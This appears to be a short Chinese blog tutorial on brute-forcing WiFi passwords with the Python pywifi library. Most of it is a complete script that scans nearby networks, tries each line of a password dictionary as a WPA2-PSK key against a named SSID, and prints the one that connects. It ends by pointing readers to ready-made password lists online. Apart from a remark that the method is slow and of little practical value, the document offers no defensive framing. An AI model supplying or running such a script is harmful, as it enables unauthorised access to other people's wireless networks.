通过Pywifi对WiFi进行密码破解
注:
Pywifi
只能用来胡乱搞搞,其破解方式笨拙、破解速度缓慢,几乎没有实操价值
原理
用Pywifi
对WiFi进行密码破解的本质,即通过python
脚本对网卡进行操纵,再通过txt
密码字典对WiFi密码进行暴力破解。
详细代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| import pytest import sys import time import platform import logging import pywifi from pywifi import const
pywifi.set_loglevel(logging.INFO)
def scan_wifi(): wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] iface.scan() time.sleep(5) result = iface.scan_results() wifiname=[] for i in result: wifiname.append(i.ssid) return(wifiname)
def connect_wifi(name,password): wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] iface.disconnect() time.sleep(1) assert iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] profile = pywifi.Profile() profile.ssid = name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password
iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile) time.sleep(4) if iface.status() == const.IFACE_CONNECTED: return True else: return False
def crack_wifi(name): print('开始破解:'+name) print(' ') path = 'pass.txt' filename = open(path, 'r') while True: try: passStr = filename.readline() bool1 = connect_wifi(name,passStr) if bool1: print('密码正确',passStr) break else: print('密码错误',passStr) except: continue
crack_wifi(“WiFi名称”)
|
关于密码本
自建密码本很费时间,建议自行百度已经建好的密码本。